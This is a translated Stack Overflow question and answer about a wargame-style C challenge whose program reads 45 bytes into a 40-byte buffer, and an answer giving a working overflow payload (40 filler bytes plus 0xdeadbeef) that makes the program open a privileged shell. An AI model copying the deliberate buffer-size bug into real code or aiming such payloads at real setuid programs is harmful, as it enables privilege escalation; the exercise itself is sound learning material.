繁体   English   中英

被 C 语言的黑客挑战困住了(堆栈缓冲区溢出)

[英]Stuck at hacking challenge in C (Stack buffer overflow)

我正在尝试超出此缓冲区。 我是这样运行的:command here,但值不正确。 我尝试了各种输入,实际上我用这些输入超出了缓冲区,但不是我期望的检查变量 0xdeadbeef 值,而是这样的:0x73737373。 我应该输入什么,以便检查的值为 0xdeadbeef?

这是代码:

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef)) //I'm only able to achieve this
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef) //this is the value I want to have
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

我让程序更改检查的值,但无法将其更改为 0xdeadbeef。

这是程序集转储:

   0x08048546 <+0>:     lea    0x4(%esp),%ecx
   0x0804854a <+4>:     and    $0xfffffff0,%esp
   0x0804854d <+7>:     pushl  -0x4(%ecx)
   0x08048550 <+10>:    push   %ebp
   0x08048551 <+11>:    mov    %esp,%ebp
   0x08048553 <+13>:    push   %esi
   0x08048554 <+14>:    push   %ebx
   0x08048555 <+15>:    push   %ecx
   0x08048556 <+16>:    sub    $0x3c,%esp
   0x08048559 <+19>:    call   0x8048480 <__x86.get_pc_thunk.bx>
   0x0804855e <+24>:    add    $0x1aa2,%ebx
   0x08048564 <+30>:    movl   $0x4030201,-0x1c(%ebp)
   0x0804856b <+37>:    mov    -0x4(%ebx),%eax
   0x08048571 <+43>:    mov    (%eax),%eax
   0x08048573 <+45>:    sub    $0x4,%esp
   0x08048576 <+48>:    push   %eax
   0x08048577 <+49>:    push   $0x2d
   0x08048579 <+51>:    lea    -0x44(%ebp),%eax
   0x0804857c <+54>:    push   %eax
   0x0804857d <+55>:    call   0x80483c0 <fgets@plt>
   0x08048582 <+60>:    add    $0x10,%esp
   0x08048585 <+63>:    sub    $0x8,%esp

如果你们中的任何人能帮助我,我会很高兴!

诀窍是为程序创建正确的输入。
仅通过键盘输入内容,这几乎是不可能的。
您可以查阅 ASCII 表和一些输入不可打印字符的技巧。

但是,制作一个执行正确输出的程序并将其通过管道传输到程序中进行欺骗会更容易。

根据字节顺序,此代码或具有重新排序的最后四个字符(不包括换行符)的代码应该可以解决问题。

#include <stdio.h>

int main()
{ printf("1234567890123456789012345678901234567890\xef\xbe\xad\xde\n"); /* works for me */
  /* or \xde\xad\xbe\xef */
  return 0;
}

请注意,'"\\xnn"' 是显式给出要输出的字符(在字符串内)的十六进制值的语法。

将它编译成一个可执行的“输出”并使用它来将所需的输出输入到“目标”可执行文件中,例如

output | target

输出(去掉壳开口部分):

[buf]: 1234567890123456789012345678901234567890´¥¡Ì
[check] deadbeef
Yeah dude! You win!
Opening your shell...
Shell closed! Bye.

注意我是在 Windows 上做的,但我希望我把它“转换”到 Nix 上。
如果您被迫使用提供的 shell 并且无法执行自己编写的程序(可能是重点),您需要探索您的选项以将该输出输入到程序中以作弊。 使用一些微调的echo可能会成功。 或者你可能最终不得不做 ASCII 不可打印的输入事情。
在不了解更多可用环境的情况下,我无法最终解决问题。

您将不得不进行实验和研究。 顺便说一句,这就是为什么我很乐意像我上面所做的那样帮助你完成任务,因为你仍然必须自己做我认为它的核心。 在我看来,这与帮助解决家庭作业/作业问题的公认妥协相匹配,如下所述:
我如何提出和回答家庭作业问题?

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM